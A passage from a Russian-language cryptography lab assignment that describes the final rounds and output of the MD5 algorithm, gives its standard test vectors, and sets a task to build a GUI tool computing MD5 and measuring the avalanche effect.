| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| [ABCD | 5 | 4 | 33] | [DABC | 8 | 11 | 34] | [CDAB | 11 | 16 | 35] | [BCDA | 14 | 23 | 36] |
| [ABCD | 1 | 4 | 37] | [DABC | 4 | 11 | 38] | [CDAB | 7 | 16 | 39] | [BCDA | 10 | 23 | 40] |
| [ABCD | 13 | 4 | 41] | [DABC | 0 | 11 | 42] | [CDAB | 3 | 16 | 43] | [BCDA | 6 | 23 | 44] |
| [ABCD | 9 | 4 | 45] | [DABC | 12 | 11 | 46] | [CDAB | 15 | 16 | 47] | [BCDA | 2 | 23 | 48] |

// Раунд 4

// Пусть запись [abcd k s i] обозначает следующее преобразование:

// a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s)

// Выполняются следующие 16 преобразований

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| [ABCD | 0 | 6 | 49] | [DABC | 7 | 10 | 50] | [CDAB | 14 | 15 | 51] | [BCDA | 5 | 21 | 52] |
| [ABCD | 12 | 6 | 53] | [DABC | 3 | 10 | 54] | [CDAB | 10 | 15 | 55] | [BCDA | 1 | 21 | 56] |
| [ABCD | 8 | 6 | 57] | [DABC | 15 | 10 | 58] | [CDAB | 6 | 15 | 59] | [BCDA | 13 | 21 | 60] |
| [ABCD | 4 | 6 | 61] | [DABC | 11 | 10 | 62] | [CDAB | 2 | 15 | 63] | [BCDA | 9 | 21 | 64] |

// К текущему значению буфера прибавляется значение буфера,

// сохранённое в начале обработки текущего блока сообщения A = A + AA

B = B + BB C = C + CC D = D + DD

end

Шаг 5. *Результат*.

Результатом вычисления хэш-функции являются биты слов , , , , т.е. биты результата начинаются с младшего байта слова и заканчиваются старшим битом слова .

Примеры значений хэш-функции (в 16-ричном виде):

MD5 ("") = d41d8cd9 8f00b204 e9800998 ecf8427e MD5 ("abc") = 90015098 3cd24fb0 d6963f7d 28e17f72

MD5 ("12345678901234567890123456789012345678901234567890123456789012345678901234567890") =

57edf4a2 2be3c955 ac49da2e 2107b67a

# *Задание*

* 1. Реализовать приложение с графическим интерфейсом, позволяющее выполнять следующие действия.

Вычислять значение хэш-функции, заданной в варианте:

* + - 1. текст сообщения должен считываться из файла;
      2. полученное значение хэш-функции должно представляться в шестнадцатеричном виде и сохраняться в файл;
      3. при работе программы должна быть возможность просмотра и изменения считанно- го из файла сообщения и вычисленного значения хэш-функции.

Исследовать лавинный эффект на сообщении, состоящем из одного блока:

1. для бита, который будет изменяться, приложение должно позволять задавать его по- зицию (номер) в сообщении;
2. приложение должно уметь после каждого раунда (итерации цикла) вычисления хэш- функции подсчитывать число бит, изменившихся в хэше при изменении одного бита в тексте сообщения;
   * 1. Сделать выводы о проделанной работе.

# *Контрольные вопросы*

1. Что такое хэш-функция? Когда она является криптографически стойкой? Что такое лавинный эффект?
2. Алгоритм MD5.